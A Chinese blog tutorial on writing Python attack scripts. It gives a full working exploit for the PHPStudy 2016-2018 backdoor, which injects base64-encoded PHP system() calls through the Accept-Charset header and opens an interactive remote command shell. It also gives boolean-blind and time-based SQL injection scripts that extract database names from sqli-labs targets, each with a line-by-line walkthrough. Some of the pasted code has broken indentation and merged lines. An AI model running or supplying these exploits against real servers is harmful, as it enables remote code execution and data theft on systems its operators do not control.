python-后门脚本编写

1. phpstudy 后门脚本编写

# 导入所需模块和库:
python
import requests
import base64
import sys
import re
import random
import string
#代码使用了 requests 库来发送 HTTP 请求,base64 库用于进行 Base64 编码,sys 模块用于获取命令行参数,re #模块用于处理正则表达式,random 和 string 模块用于生成随机字符串。

# 定义脚本的 banner 和用法提示:
python
banner = """
#PHPStudy_2016-2018
...
"""

print(banner)
# 这部分代码定义了一个脚本的标志(banner),在运行脚本时会打印出来,并提供了脚本的使用方法。

# 定义攻击函数 attack(cmd, url):
python
def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url=url, headers=headers)

    html = res.content.decode()
    offset = html.find("<!DOCTYPE html")
    result = html[0:offset].strip()

    return result
# attack 函数用于发送包含命令的 HTTP 请求,并解析响应内容。它首先构造要执行的命令,将其通过 Base64 编码后放入请求的 Accept-Charset 头部。然后,使用 requests 库发送请求,并获取响应内容。接着,从响应内容中截取有效部分(在 <!DOCTYPE html 标签之前的内容),并返回结果。

# 定义生成随机字符串的函数 gen_random_str(l):
python
def gen_random_str(l):
    s = ""
    for i in range(l):
        s += random.choice(string.ascii_letters)

    return s
# 这个函数用于生成指定长度的随机字符串。它使用了 random 模块和 string 模块来生成大小写字母组成的字符串。

# 定义验证漏洞的函数 verify(url):
python
def verify(url):
    random_str = gen_random_str(32)
    cmd = f"echo {random_str}"
    if random_str in attack(cmd, url):
        return True
    else:
        return False
# verify 函数用于验证目标网址是否存在漏洞。它生成一个随机字符串,并构造一个命令,在命令中输出该随机字符串。然后,通过调用 attack 函数发送包含命令的请求,检查随机字符串是否出现在响应内容中。如果出现,则说明目标网址存在漏洞,返回 True;否则,返回 False。

# 处理命令行参数:
python
if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

print(f"Target: {url}")
#这部分代码判断命令行参数是否足够,并获取目标网址。

# 验证目标漏洞并执行攻击:
python
if not verify(url):
    print(f"The Target is NOT VULNERABLE!")
    exit()

flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")

if flag == "n":
    exit()

info = re.findall(r'http://(.*)/', url)[0]

while True:
    cmd = input(f"<{info}> ")
    if cmd == "exit":
        break
    print(attack(cmd, url))
# 这部分代码首先调用 verify 函数验证目标网址是否存在漏洞。如果不存在漏洞,则输出提示信息并退出脚本。如果存在漏洞,则询问用户是否要继续执行攻击,只有在用户输入 'Y' 或 'y' 时才会继续。然后,进入一个循环,不断接收用户输入的命令,并调用 attack 函数执行攻击并输出结果。

# 需要注意的是,在实际应用中,这样的攻击行为是非法且具有严重风险的。请不要滥用这种攻击脚本,遵守法律法规,并且仅在合法授权的情况下使用。
import requests
import base64
import sys
import re
import random
import string

banner = """
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - AJEST
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""

def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url = url, headers = headers)

    html = res.content.decode()
    offset = html.find("<!DOCTYPE html")
    result = html[0:offset].strip()

    return result

def gen_random_str(l):
    s = ""
    for i in range(l):
        i
        s += random.choice(string.ascii_letters)

    return s

def verify(url):
    random_str = gen_random_str(32)
    cmd = f"echo {random_str}"
    if random_str in attack(cmd, url):
        return True
    else:
        return False

if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

print(f"Target: {url}")

if not verify(url):
    print(f"The Target is NOT VULNERABLE!")
    exit()

flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")

if flag == "n":
    exit()

info = re.findall(r'http://(.*)/', url)[0]

while True:
    cmd = input(f"<{info}> ")
    if cmd == "exit":
        break
    print(attack(cmd, url))

2. sql 注入脚本编写

2.1 sql盲注脚本

这段 Python 代码是一个用于获取 SQL 注入漏洞数据库相关信息的脚本,在执行前需要先了解 SQL 注入攻击的原理以及相关的技术细节。

下面对代码进行详细解析:
import requests
import string
代码使用了 requests 库来发送 HTTP 请求,string 模块用于进行字符集的处理。


url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
定义目标网址和初始参数:这部分代码定义了目标网址、数据库长度变量 i 和用于存储数据库名称的变量 name,同时使用 string.printable.strip() 函数得到 ASCII 可打印字符集(去掉空格),并赋值给 c_list 变量。


while True:
    i += 1
    payload = f"?id=2' and length(database())= {i} --+"
    full_url = url + payload
    res = requests.get(url=full_url)        
    if "You are in..........." in res.text:
        print(f"数据库长度为{i}")        
        con_len = i        
        break
 获取数据库长度:这部分代码使用了二分法的思想,逐步增加数据库名长度并通过注入判断得出正确的长度。将构造好的 payload 添加到目标网址中,然后使用 requests 库发送请求,从响应结果中判断是否存在检索到数据的提示信息("You are in...........")。如果存在,说明注入成功,打印出数据库长度并退出循环。

 for i in range(con_len):
    i += 1
    for c in c_list:        
        payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+"
        full_url = url + payload               
        res = requests.get(url=full_url)        
        if "You are in..........." in res.text:                
            name += c                
            break
print(f"数据库名为{name}")
#获取数据库名称:
这部分代码构造类似于获取数据库长度的注入语句,通过二分法的思想依次获取数据库名称。在第一层循环中,逐个字符地进行检查;在第二层循环中,对每种可打印字符(除了空格以外)进行尝试,并将 ASCII 码值作为注入语句的参数进行构造。如果注入语句执行成功,则说明当前字符是正确的,将它拼接到 name 变量中;如果失败,则继续尝试下一个字符。最终,在获取完整个数据库名称之后,输出获取的结果即可。

import requests
import string

url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
while True:
 i += 1
 payload = f"?id=2' and length(database())= {i} --+"
 full_url = url + payload
 # print(full_url)    
 res = requests.get(url=full_url)
 # print(res)    
 if "You are in..........." in res.text:
     print(f"数据库长度为{i}")        
     con_len = i        
     break
    """
    数据库名称
    """
for i in range(con_len):
    i += 1
    for c in c_list:        
        payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+"           full_url = url + payload               
        res = requests.get(url=full_url)        
        # print(full_url)        
        if "You are in..........." in res.text:            
            name += c            
            break
print(f"数据库名为{name}")

sql延时注入脚本

import requests
import string
url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
def get_timeout():
    try:        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
        return "timeout"    
    else:        
        return res.text
while True:    
    i += 1    
    payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"    
    full_url = url + payload    
    # print(full_url)    
    if "timeout" in get_timeout():        
        # print(i)        
        break
con_len = i
print(f"数据库的长度为{i}")
"""
数据库名称
"""
def get_name(i,c):    
    try:        
        payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
       return "timeout"    
    else:        
    return res.text
    for i in range(con_len):    
     i += 1    
     for c in c_list:        
         get_name(i=i,c=c)        
         # print(full_url)        
         if "timeout" in get_name(i,c):            
         name += c            
         break
print(f"数据库名为{name}")
定义目标网址和初始参数,以及 ASCII 可打印字符集:

url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
定义一个函数 get_timeout() 来判断请求是否超时:
def get_timeout():
    try:                
        full_url = url + payload                
        res = requests.get(url=full_url, timeout=2)        
    except:                
        return "timeout"        
     else:                
          return res.text
使用循环逐步增加数据库名称的长度,通过注入语句中执行 sleep(3) 来判断请求是否超时,从而得到数据库名称的长度
while True:    
    i += 1    
    payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"    
    full_url = url + payload    
    if "timeout" in get_timeout():        
        break
con_len = i
print(f"数据库的长度为{i}")
定义一个函数 get_name(i,c) 来获取数据库名称的每个字符:
def get_name(i,c):    
    try:        
        payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
       return "timeout"    
    else:        
       return res.text
嵌套循环来逐个字符地获取数据库名称,通过判断请求是否超时来确定字符的正确性:
for i in range(con_len):    
    i += 1    
    for c in c_list:        
        get_name(i=i,c=c)        
        if "timeout" in get_name(i,c):            
            name += c            
            break
print(f"数据库名为{name}")
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值